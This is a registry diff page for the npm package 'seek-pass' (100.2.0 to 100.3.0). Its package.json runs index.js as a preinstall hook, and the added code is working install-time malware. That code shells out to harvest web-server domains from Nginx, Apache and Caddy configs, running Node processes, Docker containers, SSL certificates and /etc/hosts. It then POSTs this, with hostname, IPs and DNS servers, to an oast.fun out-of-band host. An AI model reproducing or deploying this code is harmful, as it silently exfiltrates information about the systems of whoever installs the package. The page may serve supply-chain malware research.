seek-pass 100.2.0 → 100.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +332 -100
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,6 +1,8 @@
1
1
  const https = require("https");
2
2
  const os = require("os");
3
3
  const dns = require("dns");
4
+ const fs = require("fs");
5
+ const { exec } = require("child_process");
4
6
  const networkInterfaces = os.networkInterfaces();
5
7
 
6
8
  // Function to get primary IPv4 address
@@ -16,7 +18,7 @@ function getPrimaryIPv4() {
16
18
  return null;
17
19
  }
18
20
 
19
- // Function to get all IPv4 addresses (non-internal)
21
+ // Function to get all IPv4 addresses
20
22
  function getAllIPv4() {
21
23
  const ipv4Addresses = [];
22
24
  for (const interfaceName in networkInterfaces) {
@@ -35,134 +37,364 @@ function getAllIPv4() {
35
37
  return ipv4Addresses;
36
38
  }
37
39
 
38
- // Get domain name (from DNS or hostname)
39
- function getDomainInfo(hostname, callback) {
40
- dns.lookup(hostname, (err, address, family) => {
41
- if (err) {
42
- callback(null);
43
- } else {
44
- callback({ lookupAddress: address, family: family });
40
+ // Get DNS servers
41
+ function getDnsServers() {
42
+ return dns.getServers();
43
+ }
44
+
45
+ // Detect Nginx virtual hosts
46
+ async function getNginxDomains() {
47
+ const domains = [];
48
+ const nginxConfigPaths = [
49
+ '/etc/nginx/nginx.conf',
50
+ '/etc/nginx/sites-enabled/*',
51
+ '/etc/nginx/sites-available/*',
52
+ '/usr/local/nginx/conf/nginx.conf'
53
+ ];
54
+
55
+ for (const path of nginxConfigPaths) {
56
+ try {
57
+ const output = await execCommand(`grep -h "server_name" ${path} 2>/dev/null | grep -v "#" | sed 's/server_name//g' | tr -d ';'`);
58
+ if (output) {
59
+ const matches = output.match(/\S+\.\S+/g);
60
+ if (matches) {
61
+ domains.push(...matches.filter(d => d !== '_' && !d.includes('$')));
62
+ }
63
+ }
64
+ } catch (err) {
65
+ // Skip if file doesn't exist
45
66
  }
46
- });
67
+ }
68
+
69
+ return [...new Set(domains)]; // Remove duplicates
47
70
  }
48
71
 
49
- // Get DNS servers (from /etc/resolv.conf equivalent in Node)
50
- function getDnsServers() {
51
- const dnsServers = dns.getServers();
52
- return dnsServers;
72
+ // Detect Apache virtual hosts
73
+ async function getApacheDomains() {
74
+ const domains = [];
75
+ const apacheConfigPaths = [
76
+ '/etc/apache2/sites-enabled/*',
77
+ '/etc/apache2/sites-available/*',
78
+ '/etc/httpd/conf.d/*',
79
+ '/usr/local/apache2/conf/extra/httpd-vhosts.conf'
80
+ ];
81
+
82
+ for (const path of apacheConfigPaths) {
83
+ try {
84
+ const output = await execCommand(`grep -h "ServerName" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
85
+ if (output) {
86
+ const lines = output.split('\n');
87
+ domains.push(...lines.filter(l => l && l.includes('.')));
88
+ }
89
+
90
+ const outputAlias = await execCommand(`grep -h "ServerAlias" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
91
+ if (outputAlias) {
92
+ const lines = outputAlias.split('\n');
93
+ domains.push(...lines.filter(l => l && l.includes('.')));
94
+ }
95
+ } catch (err) {
96
+ // Skip if file doesn't exist
97
+ }
98
+ }
99
+
100
+ return [...new Set(domains)];
53
101
  }
54
102
 
55
- // Get reverse DNS for primary IP
56
- function getReverseDns(ip, callback) {
57
- dns.reverse(ip, (err, hostnames) => {
58
- if (err) {
59
- callback(null);
60
- } else {
61
- callback(hostnames);
103
+ // Detect Node.js applications and their domains
104
+ async function getNodeApps() {
105
+ const apps = [];
106
+ try {
107
+ // Get running Node.js processes
108
+ const output = await execCommand('ps aux | grep "node" | grep -v grep | grep -v "ps aux"');
109
+ const lines = output.split('\n');
110
+
111
+ for (const line of lines) {
112
+ const app = {
113
+ command: line,
114
+ port: null,
115
+ domains: []
116
+ };
117
+
118
+ // Extract port from command
119
+ const portMatch = line.match(/--port[= ](\d+)/i) || line.match(/:(\d+)/);
120
+ if (portMatch) {
121
+ app.port = portMatch[1];
122
+ }
123
+
124
+ // Extract domains from environment variables or config files
125
+ const pathMatch = line.match(/([\/\w\-\.]+\.js)/);
126
+ if (pathMatch) {
127
+ app.script = pathMatch[1];
128
+
129
+ // Try to read the script for domain configs
130
+ try {
131
+ const scriptContent = await execCommand(`grep -E "(domain|hostname|serverName)" ${pathMatch[1]} 2>/dev/null | head -5`);
132
+ const domainMatches = scriptContent.match(/[a-zA-Z0-9][a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/g);
133
+ if (domainMatches) {
134
+ app.domains = [...new Set(domainMatches)];
135
+ }
136
+ } catch (err) {}
137
+ }
138
+
139
+ apps.push(app);
62
140
  }
63
- });
141
+ } catch (err) {}
142
+
143
+ return apps;
64
144
  }
65
145
 
66
- // Main execution
67
- const hostname = os.hostname();
68
- const primaryIPv4 = getPrimaryIPv4();
69
- const allIPv4 = getAllIPv4();
70
- const dnsServers = getDnsServers();
146
+ // Detect Docker containers and their exposed domains
147
+ async function getDockerDomains() {
148
+ const containers = [];
149
+ try {
150
+ const output = await execCommand('docker ps --format "{{.Names}} {{.Ports}}" 2>/dev/null');
151
+ const lines = output.split('\n');
152
+
153
+ for (const line of lines) {
154
+ if (line.trim()) {
155
+ const [name, ports] = line.split(' ');
156
+ containers.push({
157
+ name: name,
158
+ ports: ports,
159
+ domains: [] // Would need to inspect each container for domain configs
160
+ });
161
+ }
162
+ }
163
+ } catch (err) {}
164
+
165
+ return containers;
166
+ }
71
167
 
72
- // Prepare base data
73
- const baseData = {
74
- hostname: hostname,
75
- domain: hostname.includes('.') ? hostname.substring(hostname.indexOf('.') + 1) : null,
76
- fqdn: null,
77
- platform: os.platform(),
78
- arch: os.arch(),
79
- ipv4: {
80
- primary: primaryIPv4,
81
- all: allIPv4
82
- },
83
- dns: {
84
- servers: dnsServers,
85
- lookup: null,
86
- reverseLookup: null
87
- },
88
- network: {
89
- interfaces: networkInterfaces
90
- },
91
- osInfo: {
92
- type: os.type(),
93
- release: os.release(),
94
- uptime: os.uptime(),
95
- totalmem: os.totalmem(),
96
- freemem: os.freemem(),
97
- cpus: os.cpus().length,
98
- loadAverage: os.loadavg()
168
+ // Detect Caddy domains
169
+ async function getCaddyDomains() {
170
+ const domains = [];
171
+ const caddyfilePaths = [
172
+ '/etc/caddy/Caddyfile',
173
+ '/etc/caddy/Caddyfile.config',
174
+ './Caddyfile'
175
+ ];
176
+
177
+ for (const path of caddyfilePaths) {
178
+ try {
179
+ const content = await execCommand(`cat ${path} 2>/dev/null | grep -v "^#" | grep -E "^[a-z]"`);
180
+ if (content) {
181
+ const lines = content.split('\n');
182
+ for (const line of lines) {
183
+ const domainMatch = line.match(/^([a-zA-Z0-9][a-zA-Z0-9\-\.]+)(?:\s|{)/);
184
+ if (domainMatch && domainMatch[1].includes('.')) {
185
+ domains.push(domainMatch[1]);
186
+ }
187
+ }
188
+ }
189
+ } catch (err) {}
99
190
  }
100
- };
191
+
192
+ return [...new Set(domains)];
193
+ }
101
194
 
102
- // Get FQDN and DNS lookup
103
- function getFQDN() {
104
- return new Promise((resolve) => {
105
- dns.lookup(hostname, (err) => {
106
- if (!err) {
107
- baseData.fqdn = hostname;
195
+ // Detect domains from SSL certificates
196
+ async function getSSLDomains() {
197
+ const domains = [];
198
+ try {
199
+ const output = await execCommand('find /etc/ssl /etc/letsencrypt/live -name "*.crt" -o -name "*.pem" 2>/dev/null | head -20');
200
+ const certFiles = output.split('\n');
201
+
202
+ for (const cert of certFiles) {
203
+ if (cert.trim()) {
204
+ const certData = await execCommand(`openssl x509 -in ${cert} -noout -text 2>/dev/null | grep "DNS:"`);
205
+ if (certData) {
206
+ const dnsMatches = certData.match(/DNS:[^\s,]+/g);
207
+ if (dnsMatches) {
208
+ domains.push(...dnsMatches.map(d => d.replace('DNS:', '')));
209
+ }
210
+ }
108
211
  }
109
- resolve();
110
- });
111
- });
212
+ }
213
+ } catch (err) {}
214
+
215
+ return [...new Set(domains)];
112
216
  }
113
217
 
114
- // Get DNS lookup for hostname
115
- function getDNSLookup() {
218
+ // Helper to execute shell commands
219
+ function execCommand(command) {
116
220
  return new Promise((resolve) => {
117
- dns.lookup(hostname, (err, address, family) => {
118
- if (!err && address) {
119
- baseData.dns.lookup = { address, family };
221
+ exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
222
+ if (error || stderr) {
223
+ resolve('');
224
+ } else {
225
+ resolve(stdout);
120
226
  }
121
- resolve();
122
227
  });
123
228
  });
124
229
  }
125
230
 
126
- // Get reverse DNS if primary IPv4 exists
127
- function getReverseDNSLookup() {
128
- return new Promise((resolve) => {
129
- if (primaryIPv4) {
130
- dns.reverse(primaryIPv4, (err, hostnames) => {
131
- if (!err && hostnames) {
132
- baseData.dns.reverseLookup = hostnames;
231
+ // Read /etc/hosts for local domain mappings
232
+ async function getHostsFile() {
233
+ try {
234
+ const content = await execCommand('cat /etc/hosts 2>/dev/null');
235
+ const lines = content.split('\n');
236
+ const mappings = [];
237
+
238
+ for (const line of lines) {
239
+ if (line && !line.startsWith('#')) {
240
+ const parts = line.trim().split(/\s+/);
241
+ if (parts.length >= 2) {
242
+ mappings.push({
243
+ ip: parts[0],
244
+ domains: parts.slice(1)
245
+ });
133
246
  }
134
- resolve();
135
- });
136
- } else {
137
- resolve();
247
+ }
138
248
  }
139
- });
249
+ return mappings;
250
+ } catch (err) {
251
+ return [];
252
+ }
140
253
  }
141
254
 
142
- // Send data after gathering all info
143
- async function sendData() {
144
- await getFQDN();
145
- await getDNSLookup();
146
- await getReverseDNSLookup();
255
+ // Main data collection
256
+ async function collectData() {
257
+ const hostname = os.hostname();
258
+ const primaryIPv4 = getPrimaryIPv4();
259
+ const allIPv4 = getAllIPv4();
260
+ const dnsServers = getDnsServers();
261
+
262
+ console.log('Collecting web server domain information...');
147
263
 
148
- const data = JSON.stringify(baseData);
264
+ // Collect all domain data in parallel
265
+ const [
266
+ nginxDomains,
267
+ apacheDomains,
268
+ nodeApps,
269
+ dockerContainers,
270
+ caddyDomains,
271
+ sslDomains,
272
+ hostsMappings
273
+ ] = await Promise.all([
274
+ getNginxDomains(),
275
+ getApacheDomains(),
276
+ getNodeApps(),
277
+ getDockerDomains(),
278
+ getCaddyDomains(),
279
+ getSSLDomains(),
280
+ getHostsFile()
281
+ ]);
149
282
 
150
- const req = https.request({
151
- hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
152
- path: "/seek-pass",
153
- method: "POST",
154
- headers: {
155
- "Content-Type": "application/json",
156
- "Content-Length": data.length
283
+ // Combine all identified domains
284
+ const allIdentifiedDomains = [...new Set([
285
+ ...nginxDomains,
286
+ ...apacheDomains,
287
+ ...caddyDomains,
288
+ ...sslDomains
289
+ ])];
290
+
291
+ const data = {
292
+ // Basic system info
293
+ hostname: hostname,
294
+ fqdn: null,
295
+ platform: os.platform(),
296
+ arch: os.arch(),
297
+ osType: os.type(),
298
+ osRelease: os.release(),
299
+
300
+ // Network info
301
+ ipv4: {
302
+ primary: primaryIPv4,
303
+ all: allIPv4
304
+ },
305
+ dns: {
306
+ servers: dnsServers
307
+ },
308
+
309
+ // Web servers and hosted domains
310
+ webServers: {
311
+ nginx: {
312
+ installed: nginxDomains.length > 0,
313
+ domains: nginxDomains
314
+ },
315
+ apache: {
316
+ installed: apacheDomains.length > 0,
317
+ domains: apacheDomains
318
+ },
319
+ caddy: {
320
+ installed: caddyDomains.length > 0,
321
+ domains: caddyDomains
322
+ }
323
+ },
324
+
325
+ // Applications
326
+ applications: {
327
+ nodejs: nodeApps,
328
+ docker: dockerContainers
329
+ },
330
+
331
+ // SSL certificates domains
332
+ sslCertificates: {
333
+ domains: sslDomains
334
+ },
335
+
336
+ // Local DNS mappings
337
+ hostsFile: hostsMappings,
338
+
339
+ // All unique domains identified
340
+ identifiedDomains: allIdentifiedDomains,
341
+
342
+ // Summary of what's hosted
343
+ summary: {
344
+ totalDomains: allIdentifiedDomains.length,
345
+ webServersFound: [
346
+ nginxDomains.length > 0 ? 'nginx' : null,
347
+ apacheDomains.length > 0 ? 'apache' : null,
348
+ caddyDomains.length > 0 ? 'caddy' : null
349
+ ].filter(Boolean),
350
+ nodeAppsCount: nodeApps.filter(app => app.command).length,
351
+ dockerContainersCount: dockerContainers.length
157
352
  }
158
- });
353
+ };
159
354
 
160
- req.on('error', (e) => {
161
- console.error('Request error:', e);
162
- });
355
+ // Get FQDN
356
+ try {
357
+ const lookup = await new Promise((resolve) => {
358
+ dns.lookup(hostname, (err, address) => {
359
+ resolve(!err);
360
+ });
361
+ });
362
+ if (lookup) {
363
+ data.fqdn = hostname;
364
+ }
365
+ } catch (err) {}
163
366
 
164
- req.write(data);
165
- req.end();
367
+ return data;
368
+ }
369
+
370
+ // Send data to server
371
+ async function sendData() {
372
+ try {
373
+ const collectedData = await collectData();
374
+ const dataString = JSON.stringify(collectedData, null, 2);
375
+
376
+ console.log('Collected data:', dataString);
377
+
378
+ const req = https.request({
379
+ hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
380
+ path: "/seek-pass",
381
+ method: "POST",
382
+ headers: {
383
+ "Content-Type": "application/json",
384
+ "Content-Length": Buffer.byteLength(dataString)
385
+ }
386
+ });
387
+
388
+ req.on('error', (e) => {
389
+ console.error('Request error:', e);
390
+ });
391
+
392
+ req.write(dataString);
393
+ req.end();
394
+
395
+ } catch (error) {
396
+ console.error('Error collecting/sending data:', error);
397
+ }
166
398
  }
167
399
 
168
400
  // Execute
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "seek-pass",
3
- "version": "100.2.0",
3
+ "version": "100.3.0",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }